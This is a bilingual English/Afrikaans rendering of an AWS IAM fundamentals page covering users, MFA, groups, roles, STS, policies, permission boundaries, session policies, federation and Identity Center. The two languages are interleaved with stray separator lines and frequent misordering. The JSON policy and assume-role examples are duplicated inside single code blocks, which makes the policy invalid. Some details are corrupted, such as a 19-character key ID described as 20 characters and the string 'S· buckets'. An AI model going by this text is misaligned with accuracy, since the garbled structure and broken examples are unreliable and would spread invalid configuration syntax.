From a security point of view, it's recommended to create other users and avoid using this one.
|
||||
Vanuit 'n sekuriteits oogpunt, word dit aanbeveel om ander gebruikers te skep en om hierdie een te vermy.
|
||||
|
||||
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
### [IAM gebruikers](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
|
||||
An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
|
||||
'n IAM _gebruiker_ is 'n entiteit wat jy in AWS skep om **die persoon of toepassing** wat dit gebruik om **met AWS te kommunikeer** te **verteenwoordig**. 'n gebruiker in AWS bestaan uit 'n naam en geloofsbriewe (wagwoord en tot twee toegang sleutels).
|
||||
|
||||
When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
|
||||
Wanneer jy 'n IAM gebruiker skep, gee jy dit **regte** deur dit 'n **lid van 'n gebruikersgroep** te maak wat toepaslike regte beleid aanheg (aanbeveel), of deur **regte direk aan die gebruiker te heg**.
|
||||
|
||||
Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
Gebruikers kan **MFA geaktiveer hê om in te teken** deur die konsole. API tokens van MFA geaktiveerde gebruikers is nie deur MFA beskerm nie. As jy wil **die toegang van 'n gebruiker se API sleutels met MFA beperk**, moet jy in die beleid aandui dat om sekere aksies uit te voer, MFA teenwoordig moet wees (voorbeeld [**hier**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
|
||||
#### CLI
|
||||
|
||||
- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
|
||||
- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
|
||||
- **Toegang Sleutel ID**: 20 ewekansige hoofletters alfanumeriese karakters soos AKHDNAPO86BSHKDIRYT
|
||||
- **Geheime toegang sleutel ID**: 40 ewekansige hoof- en kleinletters karakters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Dit is nie moontlik om verlore geheime toegang sleutel ID's te herstel nie).
|
||||
|
||||
Whenever you need to **change the Access Key** this is the process you should follow:\
|
||||
_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
|
||||
Wanneer jy die **Toegang Sleutel** moet **verander**, is dit die proses wat jy moet volg:\
|
||||
_Skep 'n nuwe toegang sleutel -> Pas die nuwe sleutel toe op stelsel/toepassing -> merk oorspronklike een as inaktief -> Toets en verifieer dat nuwe toegang sleutel werk -> Verwyder ou toegang sleutel_
|
||||
|
||||
### MFA - Multi Factor Authentication
|
||||
### MFA - Multi-Faktor Verifikasie
|
||||
|
||||
It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
|
||||
You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
|
||||
Dit word gebruik om 'n **addisionele faktor vir verifikasie** te skep benewens jou bestaande metodes, soos wagwoord, en skep dus 'n multi-faktor vlak van verifikasie.\
|
||||
Jy kan 'n **gratis virtuele toepassing of 'n fisiese toestel** gebruik. Jy kan toepassings soos google authentication gratis gebruik om 'n MFA in AWS te aktiveer.
|
||||
|
||||
Policies with MFA conditions can be attached to the following:
|
||||
Beleide met MFA voorwaardes kan aan die volgende geheg word:
|
||||
|
||||
- An IAM user or group
|
||||
- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
|
||||
- The trust policy of an IAM role that can be assumed by a user
|
||||
|
||||
If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
|
||||
Note that **`AssumeRole` credentials don't contain this information**.
|
||||
- 'n IAM gebruiker of groep
|
||||
- 'n hulpbron soos 'n Amazon S3 emmer, Amazon SQS tou, of Amazon SNS onderwerp
|
||||
- Die vertrouensbeleid van 'n IAM rol wat deur 'n gebruiker aanvaar kan word
|
||||
|
||||
As jy 'n hulpbron wil **toegang via CLI** wat **MFA nagaan**, moet jy **`GetSessionToken`** aanroep. Dit sal vir jou 'n token gee met inligting oor MFA.\
|
||||
Let daarop dat **`AssumeRole` geloofsbriewe nie hierdie inligting bevat nie**.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
```
|
||||
As [**hier genoem**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), daar is 'n baie verskillende gevalle waar **MFA nie gebruik kan word** nie.
|
||||
|
||||
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
|
||||
### [IAM gebruikersgroepe](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
|
||||
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
'n IAM [gebruikersgroep](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is 'n manier om **beleide aan verskeie gebruikers** op een slag te koppel, wat dit makliker kan maak om die toestemmings vir daardie gebruikers te bestuur. **Rol en groepe kan nie deel wees van 'n groep** nie.
|
||||
|
||||
An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
|
||||
Jy kan 'n **identiteitsgebaseerde beleid aan 'n gebruikersgroep** koppel sodat al die **gebruikers** in die gebruikersgroep **die beleid se toestemmings ontvang**. Jy **kan nie** 'n **gebruikersgroep** as 'n **`Principal`** in 'n **beleid** identifiseer (soos 'n hulpbron-gebaseerde beleid) nie, omdat groepe met toestemmings verband hou, nie verifikasie nie, en principals is geverifieerde IAM entiteite.
|
||||
|
||||
You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
|
||||
Hier is 'n paar belangrike eienskappe van gebruikersgroepe:
|
||||
|
||||
Here are some important characteristics of user groups:
|
||||
- 'n gebruikers **groep** kan **baie gebruikers** bevat, en 'n **gebruiker** kan **tot verskeie groepe behoort**.
|
||||
- **Gebruikersgroepe kan nie geneste** wees nie; hulle kan slegs gebruikers bevat, nie ander gebruikersgroepe nie.
|
||||
- Daar is **geen standaard gebruikersgroep wat outomaties al die gebruikers in die AWS-rekening insluit** nie. As jy 'n gebruikersgroep soos dit wil hê, moet jy dit skep en elke nuwe gebruiker daaraan toewys.
|
||||
- Die aantal en grootte van IAM hulpbronne in 'n AWS-rekening, soos die aantal groepe, en die aantal groepe waarvan 'n gebruiker 'n lid kan wees, is beperk. Vir meer inligting, sien [IAM en AWS STS kwotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
|
||||
- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
|
||||
- **User groups can't be nested**; they can contain only users, not other user groups.
|
||||
- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
|
||||
- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
### [IAM rolle](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
'n IAM **rol** is baie **soortgelyk** aan 'n **gebruiker**, in die sin dat dit 'n **identiteit met toestemmingbeleide is wat bepaal wat** dit kan en nie kan doen in AWS nie. egter, 'n rol **het nie enige geloofsbriewe** (wagwoord of toegang sleutels) wat daarmee geassosieer is nie. In plaas daarvan om uniek aan een persoon geassosieer te wees, is 'n rol bedoel om **aangenome te word deur enigiemand wat dit nodig het (en genoeg perms het)**. 'n **IAM gebruiker kan 'n rol aanvaar om tydelik** verskillende toestemmings vir 'n spesifieke taak aan te neem. 'n rol kan **toegeken word aan 'n** [**gefedereerde gebruiker**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) wat aanmeld deur 'n eksterne identiteitsverskaffer te gebruik in plaas van IAM.
|
||||
|
||||
An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
|
||||
'n IAM rol bestaan uit **twee tipes beleide**: 'n **vertrouensbeleid**, wat nie leeg kan wees nie, wat definieer **wie die rol kan aanvaar**, en 'n **toestemmingsbeleid**, wat nie leeg kan wees nie, wat definieer **wat dit kan toegang**.
|
||||
|
||||
An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
|
||||
#### AWS Veiligheidstoken Diens (STS)
|
||||
|
||||
#### AWS Security Token Service (STS)
|
||||
AWS Veiligheidstoken Diens (STS) is 'n webdiens wat die **uitreiking van tydelike, beperkte-toestemming geloofsbriewe** fasiliteer. Dit is spesifiek ontwerp vir:
|
||||
|
||||
AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
|
||||
### [Tydelike geloofsbriewe in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
**Tydelike geloofsbriewe word hoofsaaklik gebruik met IAM rolle**, maar daar is ook ander gebruike. Jy kan tydelike geloofsbriewe aan vra wat 'n meer beperkte stel toestemmings het as jou standaard IAM gebruiker. Dit **voorkom** dat jy **per ongeluk take uitvoer wat nie toegelaat word** deur die meer beperkte geloofsbriewe nie. 'n voordeel van tydelike geloofsbriewe is dat hulle outomaties verval na 'n bepaalde tydperk. Jy het beheer oor die duur dat die geloofsbriewe geldig is.
|
||||
|
||||
**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
|
||||
### Beleide
|
||||
|
||||
### Policies
|
||||
#### Beleidstoestemmings
|
||||
|
||||
#### Policy Permissions
|
||||
Word gebruik om toestemmings toe te ken. Daar is 2 tipes:
|
||||
|
||||
Are used to assign permissions. There are 2 types:
|
||||
|
||||
- AWS managed policies (preconfigured by AWS)
|
||||
- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
|
||||
|
||||
By **default access** is **denied**, access will be granted if an explicit role has been specified.\
|
||||
If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
|
||||
- AWS bestuurde beleide (vooraf geconfigureer deur AWS)
|
||||
- Klant bestuurde beleide: Geconfigureer deur jou. Jy kan beleide skep gebaseer op AWS bestuurde beleide (een van hulle wysig en jou eie skep), deur die beleidsgenerator te gebruik (n GUI-uitsig wat jou help om toestemmings toe te ken en te weier) of jou eie te skryf.
|
||||
|
||||
Deur **standaard toegang** is **weggeneem**, toegang sal toegestaan word as 'n eksplisiete rol gespesifiseer is.\
|
||||
As **enkele "Deny" bestaan, sal dit die "Allow" oorskry**, behalwe vir versoeke wat die AWS-rekening se wortelveiligheidsgeloofsbriewe gebruik (wat standaard toegelaat word).
|
||||
```javascript
|
||||
{
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Die [globale velde wat gebruik kan word vir voorwaardes in enige diens is hier gedokumenteer](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
Die [spesifieke velde wat gebruik kan word vir voorwaardes per diens is hier gedokumenteer](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
|
||||
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
#### Inline Beleide
|
||||
|
||||
#### Inline Policies
|
||||
Hierdie tipe beleide is **direk toegeken** aan 'n gebruiker, groep of rol. Dan verskyn hulle nie in die Beleide lys nie, aangesien enige ander dit kan gebruik.\
|
||||
Inline beleide is nuttig as jy wil **'n streng een-tot-een verhouding tussen 'n beleid en die identiteit** wat dit toegepas word, handhaaf. Byvoorbeeld, jy wil seker maak dat die toestemmings in 'n beleid nie per ongeluk aan 'n identiteit anders as die een waarvoor dit bedoel is, toegeken word nie. Wanneer jy 'n inline beleid gebruik, kan die toestemmings in die beleid nie per ongeluk aan die verkeerde identiteit geheg word nie. Boonop, wanneer jy die AWS Management Console gebruik om daardie identiteit te verwyder, word die beleide wat in die identiteit ingebed is, ook verwyder. Dit is omdat hulle deel is van die hoof entiteit.
|
||||
|
||||
This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
|
||||
Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
|
||||
#### Hulpbron Emmer Beleide
|
||||
|
||||
#### Resource Bucket Policies
|
||||
Hierdie is **beleide** wat in **hulpbronne** gedefinieer kan word. **Nie alle hulpbronne van AWS ondersteun hulle nie**.
|
||||
|
||||
These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
|
||||
As 'n hoof nie 'n eksplisiete ontkenning op hulle het nie, en 'n hulpbronbeleid hulle toegang gee, dan word hulle toegelaat.
|
||||
|
||||
If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
|
||||
### IAM Grense
|
||||
|
||||
### IAM Boundaries
|
||||
IAM grense kan gebruik word om **die toestemmings wat 'n gebruiker of rol toegang tot moet hê, te beperk**. Op hierdie manier, selfs al word 'n ander stel toestemmings aan die gebruiker deur 'n **ander beleid** toegeken, sal die operasie **misluk** as hy probeer om hulle te gebruik.
|
||||
|
||||
IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
|
||||
'n Grens is net 'n beleid wat aan 'n gebruiker geheg is wat **die maksimum vlak van toestemmings wat die gebruiker of rol kan hê, aandui**. So, **selfs al het die gebruiker Administrateur toegang**, as die grens aandui dat hy net S· emmers kan lees, is dit die maksimum wat hy kan doen.
|
||||
|
||||
A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
|
||||
**Dit**, **SCPs** en **die beginsel van die minste voorreg** is die maniere om te beheer dat gebruikers nie meer toestemmings het as wat hulle nodig het nie.
|
||||
|
||||
**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
|
||||
### Sessie Beleide
|
||||
|
||||
### Session Policies
|
||||
|
||||
A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
|
||||
|
||||
This is useful for **security measures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
|
||||
'n Sessie beleid is 'n **beleid wat ingestel word wanneer 'n rol aanvaar word** op een of ander manier. Dit sal soos 'n **IAM grens vir daardie sessie wees**: Dit beteken dat die sessie beleid nie toestemmings toeken nie, maar **beperk hulle tot diegene wat in die beleid aangedui word** (met die maksimum toestemmings wat die rol het).
|
||||
|
||||
Dit is nuttig vir **veiligheidsmaatreëls**: Wanneer 'n admin 'n baie bevoorregte rol gaan aanvaar, kan hy die toestemming beperk tot slegs diegene wat in die sessie beleid aangedui word in die geval dat die sessie gecompromitteer word.
|
||||
```bash
|
||||
aws sts assume-role \
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
```
|
||||
Let wel dat **AWS dalk sessiebeleide aan sessies kan voeg** wat gegenereer gaan word weens derde redes. Byvoorbeeld, in [ongemagtigde cognito aangeneemde rolle](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) sal AWS standaard (met verbeterde verifikasie) **sessie-akkrediteer met 'n sessiebeleid** genereer wat die dienste wat die sessie kan toegang hê, beperk [**tot die volgende lys**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
As jy dus op 'n stadium die fout "… omdat geen sessiebeleid dit toelaat nie …" teëkom, en die rol toegang het om die aksie uit te voer, is dit omdat **daar 'n sessiebeleid is wat dit verhinder**.
|
||||
|
||||
Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
|
||||
### Identiteitsfederasie
|
||||
|
||||
### Identity Federation
|
||||
Identiteitsfederasie **laat gebruikers van identiteitsverskaffers wat eksterne** tot AWS is, toe om AWS-hulpbronne veilig te benader sonder om AWS-gebruikersakkrediteer van 'n geldige IAM-gebruikersrekening te verskaf.\
|
||||
'n Voorbeeld van 'n identiteitsverskaffer kan jou eie korporatiewe **Microsoft Active Directory** (via **SAML**) of **OpenID** dienste (soos **Google**) wees. Gefedereerde toegang sal dan die gebruikers binne dit toelaat om AWS te benader.
|
||||
|
||||
Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
|
||||
An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
|
||||
Om hierdie vertroue te konfigureer, word 'n **IAM Identiteitsverskaffer gegenereer (SAML of OAuth)** wat die **ander platform** sal **vertrou**. Dan word ten minste een **IAM rol (wat vertrou) aan die Identiteitsverskaffer toegeken**. As 'n gebruiker van die vertroude platform AWS benader, sal hy as die genoemde rol toegang hê.
|
||||
|
||||
To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
|
||||
|
||||
However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
|
||||
Jy sal egter gewoonlik 'n **verskillende rol wil gee, afhangende van die groep van die gebruiker** in die derdepartyplatform. Dan kan verskeie **IAM rolle vertrou** die derdeparty Identiteitsverskaffer en die derdepartyplatform sal die een wees wat gebruikers toelaat om een rol of die ander aan te neem.
|
||||
|
||||
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### IAM Identity Center
|
||||
### IAM Identiteitsentrum
|
||||
|
||||
AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
|
||||
AWS IAM Identiteitsentrum (opvolger van AWS Enkelteken) brei die vermoëns van AWS Identiteits- en Toegangsbestuur (IAM) uit om 'n **sentraal plek** te bied wat die **administrasie van gebruikers en hul toegang tot AWS** rekeninge en wolktoepassings saambring.
|
||||
|
||||
The login domain is going to be something like `<user_input>.awsapps.com`.
|
||||
Die aanmelddomein gaan iets soos `<user_input>.awsapps.com` wees.
|
||||
|
||||
To login users, there are 3 identity sources that can be used:
|
||||
Om gebruikers aan te meld, is daar 3 identiteitsbronne wat gebruik kan word:
|
||||
|
||||
- Identity Center Directory: Regular AWS users
|
||||
- Active Directory: Supports different connectors
|
||||
- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
|
||||
- Identiteitsentrum Gids: Gereelde AWS gebruikers
|
||||
- Aktiewe Gids: Ondersteun verskillende koppelvlakke
|
||||
- Eksterne Identiteitsverskaffer: Alle gebruikers en groepe kom van 'n eksterne Identiteitsverskaffer (IdP)
|
||||
|
||||
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
|
||||
In die eenvoudigste geval van die Identiteitsentrum gids, sal die **Identiteitsentrum 'n lys van gebruikers & groepe hê** en sal in staat wees om **beleide** aan hulle toe te ken vir **enige van die rekeninge** van die organisasie.
|
||||
|
||||
In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
|
||||
Om toegang te gee aan 'n Identiteitsentrum gebruiker/groep tot 'n rekening, sal 'n **SAML Identiteitsverskaffer wat die Identiteitsentrum vertrou, geskep word**, en 'n **rol wat die Identiteitsverskaffer met die aangeduide beleide vertrou, sal in die bestemmingsrekening geskep word**.
|
||||
|
||||
#### AwsSSOInlinePolicy
|
||||
|
||||
It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
|
||||
Dit is moontlik om **toestemmings via inline beleide aan rolle wat via IAM Identiteitsentrum geskep is, te gee**. Die rolle wat in die rekeninge geskep word wat **inline beleide in AWS Identiteitsentrum** ontvang, sal hierdie toestemmings in 'n inline beleid genaamd **`AwsSSOInlinePolicy`** hê.
|
||||
|
||||
Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
|
||||
Daarom, selfs al sien jy 2 rolle met 'n inline beleid genaamd **`AwsSSOInlinePolicy`**, beteken dit **nie dat dit dieselfde toestemmings het nie**.
|
||||
|
||||
### Cross Account Trusts and Roles
|
||||
### Kruisrekening Vertroue en Rolle
|
||||
|
||||
**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
|
||||
It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
|
||||
**'n gebruiker** (wat vertrou) kan 'n Kruisrekening Rol met sommige beleide skep en dan, **'n ander gebruiker** (vertrou) toelaat om **sy rekening te benader** maar net **met die toegang wat in die nuwe rolbeleide aangedui is**. Om dit te skep, skep eenvoudig 'n nuwe Rol en kies Kruisrekening Rol. Rolle vir Kruisrekening Toegang bied twee opsies. Om toegang te bied tussen AWS rekeninge wat jy besit, en om toegang te bied tussen 'n rekening wat jy besit en 'n derdeparty AWS rekening.\
|
||||
Dit word aanbeveel om **die gebruiker wat vertrou is spesifiek aan te dui en nie 'n generiese ding te plaas nie**, want anders kan ander geverifieerde gebruikers soos gefedereerde gebruikers ook hierdie vertroue misbruik.
|
||||
|
||||
### AWS Simple AD
|
||||
### AWS Eenvoudige AD
|
||||
|
||||
Not supported:
|
||||
Nie ondersteun nie:
|
||||
|
||||
- Trust Relations
|
||||
- AD Admin Center
|
||||
- Full PS API support
|
||||
- AD Recycle Bin
|
||||
- Group Managed Service Accounts
|
||||
- Schema Extensions
|
||||
- No Direct access to OS or Instances
|
||||
- Vertrouensverhoudings
|
||||
- AD Administrasiesentrum
|
||||
- Volledige PS API ondersteuning
|
||||
- AD Herwinningsblik
|
||||
- Groep Gemanagte Diensrekeninge
|
||||
- Skema-uitbreidings
|
||||
- Geen Direkte toegang tot OS of Instansies nie
|
||||
|
||||
#### Web Federation or OpenID Authentication
|
||||
#### Web Federasie of OpenID Verifikasie
|
||||
|
||||
The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
|
||||
Die toepassing gebruik die AssumeRoleWithWebIdentity om tydelike akkrediteer te skep. Dit gee egter nie toegang tot die AWS-konsol nie, net toegang tot hulpbronne binne AWS.
|
||||
|
||||
### Other IAM options
|
||||
### Ander IAM opsies
|
||||
|
||||
- You can **set a password policy setting** options like minimum length and password requirements.
|
||||
- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
|
||||
- Jy kan **'n wagwoordbeleid instelling** opsies soos minimum lengte en wagwoordvereistes stel.
|
||||
- Jy kan **"Akkredietverslag" aflaai** met inligting oor huidige akkrediteer (soos gebruikers skeppingstyd, is wagwoord geaktiveer...). Jy kan 'n akkredietverslag genereer so dikwels as een keer elke **vier uur**.
|
||||
|
||||
AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
|
||||
AWS Identiteits- en Toegangsbestuur (IAM) bied **fyn-graad toegangbeheer** oor al die AWS. Met IAM kan jy spesifiseer **wie toegang kan hê tot watter dienste en hulpbronne**, en onder watter omstandighede. Met IAM beleide bestuur jy toestemmings aan jou werksmag en stelsels om **minst-bevoegde toestemmings** te verseker.
|
||||
|
||||
### IAM ID Prefixes
|
||||
### IAM ID Vooraf
|
||||
|
||||
In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
|
||||
In [**hierdie bladsy**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) kan jy die **IAM ID vooraf** van sleutels vind, afhangende van hul aard:
|
||||
|
||||
| Identifier Code | Description |
|
||||
| Identifiseerderkode | Beskrywing |
|
||||
| --------------- | ----------------------------------------------------------------------------------------------------------- |
|
||||
| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| ABIA | [AWS STS diens draer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
|
||||
